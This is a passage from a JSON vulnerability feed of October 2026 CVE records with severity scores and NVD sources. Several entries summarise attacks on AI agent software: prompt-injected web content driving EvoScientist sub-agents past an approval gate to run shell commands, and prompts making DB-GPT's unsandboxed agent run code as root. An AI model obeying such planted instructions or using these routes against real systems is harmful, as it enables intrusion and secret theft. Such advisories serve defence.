aren't authorized to access, including other users, other accounts and, in Unblu Cloud, other customers' accounts, via configuration read and write operations that target those entities.\n\n\n\nThe Collaboration Server doesn't check whether the user reading or changing configuration has access to the entity the configuration belongs to. With certain non-default configuration validation settings, a registered user can additionally write configuration properties they aren't allowed to edit, in any scope.\n\n\n\nExploitation requires an authenticated session but no user interaction.","detail":"Missing authorization in the configuration cascade operations of the Collaboration Server in Unblu inc. Unblu Spark 7.0 through 8.36.1-hotfix.0, on on-premises and cloud deployments, allows an authenticated remote attacker to read and change configuration properties of entities they aren't authorized to access, including other users, other accounts and, in Unblu Cloud, other customers' accounts, via configuration read and write operations that target those entities.\n\n\n\nThe Collaboration Server doesn't check whether the user reading or changing configuration has access to the entity the configuration belongs to. With certain non-default configuration validation settings, a registered user can additionally write configuration properties they aren't allowed to edit, in any scope.\n\n\n\nExploitation requires an authenticated session but no user interaction.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T11:17:35.770Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9589","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.00359,"percentile":0.29315,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9589&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9589","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9589","type":"primary","publishedAt":"2026-10-20T11:17:35.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9589&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9589, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43845","cveId":"CVE-2026-43845","aliases":[],"kind":"vulnerability","title":"A vulnerability in the password reset mechanism could allow an attacker to bypass the authentication mechanism.","summary":"A vulnerability in the password reset mechanism could allow an attacker to bypass the authentication mechanism.","detail":"A vulnerability in the password reset mechanism could allow an attacker to bypass the authentication mechanism.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T09:17:10.907Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43845","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00454,"percentile":0.39159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43845&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43845","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43845","type":"primary","publishedAt":"2026-10-20T09:17:10.907Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43845&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43845, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43844","cveId":"CVE-2026-43844","aliases":[],"kind":"vulnerability","title":"A vulnerability in the proprietary protocol could allow an attacker to bypass the authentication mechanism.","summary":"A vulnerability in the proprietary protocol could allow an attacker to bypass the authentication mechanism.","detail":"A vulnerability in the proprietary protocol could allow an attacker to bypass the authentication mechanism.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T09:17:10.800Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43844","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00492,"percentile":0.41952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43844&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43844","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43844","type":"primary","publishedAt":"2026-10-20T09:17:10.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43844&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43844, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43838","cveId":"CVE-2026-43838","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability in the login functionality could allow an attacker to achieve code execution.","summary":"A stack-based buffer overflow vulnerability in the login functionality could allow an attacker to achieve code execution.","detail":"A stack-based buffer overflow vulnerability in the login functionality could allow an attacker to achieve code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T09:17:10.173Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43838","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00383,"percentile":0.32018,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43838&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43838","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43838","type":"primary","publishedAt":"2026-10-20T09:17:10.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43838&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43838, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43836","cveId":"CVE-2026-43836","aliases":[],"kind":"vulnerability","title":"A vulnerability could allow an attacker to forge a packet to execute arbitrary commands with maximum privileges.","summary":"A vulnerability could allow an attacker to forge a packet to execute arbitrary commands with maximum privileges.","detail":"A vulnerability could allow an attacker to forge a packet to execute arbitrary commands with maximum privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T09:17:09.957Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43836","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00888,"percentile":0.5904,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43836&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43836","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43836","type":"primary","publishedAt":"2026-10-20T09:17:09.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43836&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43836, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113380","cveId":"CVE-2026-113380","aliases":[],"kind":"vulnerability","title":"In the RingRTC library before 2.72.0 for Signal, a peer that saturates a call's FSM queue can interfere with the ability of a local hangup to tear the call (with its audio and...","summary":"In the RingRTC library before 2.72.0 for Signal, a peer that saturates a call's FSM queue can interfere with the ability of a local hangup to tear the call (with its audio and perhaps also video track) down.","detail":"In the RingRTC library before 2.72.0 for Signal, a peer that saturates a call's FSM queue can interfere with the ability of a local hangup to tear the call (with its audio and perhaps also video track) down.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T05:16:54.083Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113380","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00841,"percentile":0.57617,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113380&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113380","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113380","type":"primary","publishedAt":"2026-10-20T05:16:54.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113380&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113380, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77936","cveId":"CVE-2026-77936","aliases":[],"kind":"vulnerability","title":"Letta through 0.16.8 ships a compose.yaml that does not enable LETTA_SERVER_SECURE, so the password middleware is never added and all API routes are unauthenticated, and it...","summary":"Letta through 0.16.8 ships a compose.yaml that does not enable LETTA_SERVER_SECURE, so the password middleware is never added and all API routes are unauthenticated, and it exposes a superuser PostgreSQL port with default credentials. Remote attackers can execute arbitrary Python via POST /v1/tools/run, manage /v1/admin users, or run OS commands via COPY PROGRAM.","detail":"Letta through 0.16.8 ships a compose.yaml that does not enable LETTA_SERVER_SECURE, so the password middleware is never added and all API routes are unauthenticated, and it exposes a superuser PostgreSQL port with default credentials. Remote attackers can execute arbitrary Python via POST /v1/tools/run, manage /v1/admin users, or run OS commands via COPY PROGRAM.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:20.107Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77936","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00589,"percentile":0.47859,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77936&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77936","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77936","type":"primary","publishedAt":"2026-10-20T01:17:20.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77936&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77936, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77933","cveId":"CVE-2026-77933","aliases":[],"kind":"vulnerability","title":"DB-GPT through 0.8.2 contains a hardcoded credentials vulnerability in its default docker-compose.yml that sets a static MYSQL_ROOT_PASSWORD and publishes port 3306 on all...","summary":"DB-GPT through 0.8.2 contains a hardcoded credentials vulnerability in its default docker-compose.yml that sets a static MYSQL_ROOT_PASSWORD and publishes port 3306 on all interfaces. Attackers reaching port 3306 or the shared dbgptnet network can authenticate as root@% to gain full database access including FILE and SUPER privileges.","detail":"DB-GPT through 0.8.2 contains a hardcoded credentials vulnerability in its default docker-compose.yml that sets a static MYSQL_ROOT_PASSWORD and publishes port 3306 on all interfaces. Attackers reaching port 3306 or the shared dbgptnet network can authenticate as root@% to gain full database access including FILE and SUPER privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:19.670Z","updatedAt":"2026-10-20T14:17:00.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77933","asOf":"2026-10-20T14:17:00.943Z"},"epss":{"probability":0.00437,"percentile":0.37714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77933&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77933","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77933","type":"primary","publishedAt":"2026-10-20T01:17:19.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77933&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77933, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77932","cveId":"CVE-2026-77932","aliases":[],"kind":"vulnerability","title":"DB-GPT through 0.8.2 contains an unauthenticated remote code execution vulnerability because the /api/v1/chat/react-agent endpoint relies on a mock get_user_from_headers function...","summary":"DB-GPT through 0.8.2 contains an unauthenticated remote code execution vulnerability because the /api/v1/chat/react-agent endpoint relies on a mock get_user_from_headers function that grants every caller the admin role. Unauthenticated attackers can send prompts that make the ReAct agent's unsandboxed code_interpreter and shell_interpreter tools run arbitrary Python or bash as root in the webserver container, including reaching the bundled database with default credentials.","detail":"DB-GPT through 0.8.2 contains an unauthenticated remote code execution vulnerability because the /api/v1/chat/react-agent endpoint relies on a mock get_user_from_headers function that grants every caller the admin role. Unauthenticated attackers can send prompts that make the ReAct agent's unsandboxed code_interpreter and shell_interpreter tools run arbitrary Python or bash as root in the webserver container, including reaching the bundled database with default credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:19.503Z","updatedAt":"2026-10-20T14:17:00.810Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77932","asOf":"2026-10-20T14:17:00.810Z"},"epss":{"probability":0.00804,"percentile":0.56457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77932&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77932","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77932","type":"primary","publishedAt":"2026-10-20T01:17:19.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77932&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77932, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77930","cveId":"CVE-2026-77930","aliases":[],"kind":"vulnerability","title":"EvoScientist 0.1.0 before 0.2.5 contains an approval bypass vulnerability that allows attackers to run host shell commands by delegating them to async sub-agents lacking an...","summary":"EvoScientist 0.1.0 before 0.2.5 contains an approval bypass vulnerability that allows attackers to run host shell commands by delegating them to async sub-agents lacking an interrupt_on gate. Attackers can plant instructions in ingested content such as fetched web pages, so the agent calls start_async_task and runs commands with user privileges and environment secrets.","detail":"EvoScientist 0.1.0 before 0.2.5 contains an approval bypass vulnerability that allows attackers to run host shell commands by delegating them to async sub-agents lacking an interrupt_on gate. Attackers can plant instructions in ingested content such as fetched web pages, so the agent calls start_async_task and runs commands with user privileges and environment secrets.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:19.360Z","updatedAt":"2026-10-22T22:18:45.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77930","asOf":"2026-10-22T22:18:45.743Z"},"epss":{"probability":0.00688,"percentile":0.52448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77930&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77930","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77930","type":"primary","publishedAt":"2026-10-20T01:17:19.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77930&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77930, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75128","cveId":"CVE-2026-75128","aliases":[],"kind":"vulnerability","title":"Langchain-Chatchat through 0.3.1.3 exposes a POST /tools/call API endpoint that invokes any registered tool by name without authentication, leaving the always-registered shell...","summary":"Langchain-Chatchat through 0.3.1.3 exposes a POST /tools/call API endpoint that invokes any registered tool by name without authentication, leaving the always-registered shell tool callable. Remote attackers can send a single request naming the shell tool to execute arbitrary OS commands as the server user (root in the shipped Docker image).","detail":"Langchain-Chatchat through 0.3.1.3 exposes a POST /tools/call API endpoint that invokes any registered tool by name without authentication, leaving the always-registered shell tool callable. Remote attackers can send a single request naming the shell tool to execute arbitrary OS commands as the server user (root in the shipped Docker image).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T01:17:19.063Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["LangChain and Langflow"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75128","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00632,"percentile":0.49974,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75128&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 